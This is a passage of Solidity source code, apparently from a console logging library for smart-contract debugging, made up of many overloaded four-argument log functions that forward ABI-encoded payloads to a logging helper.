_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
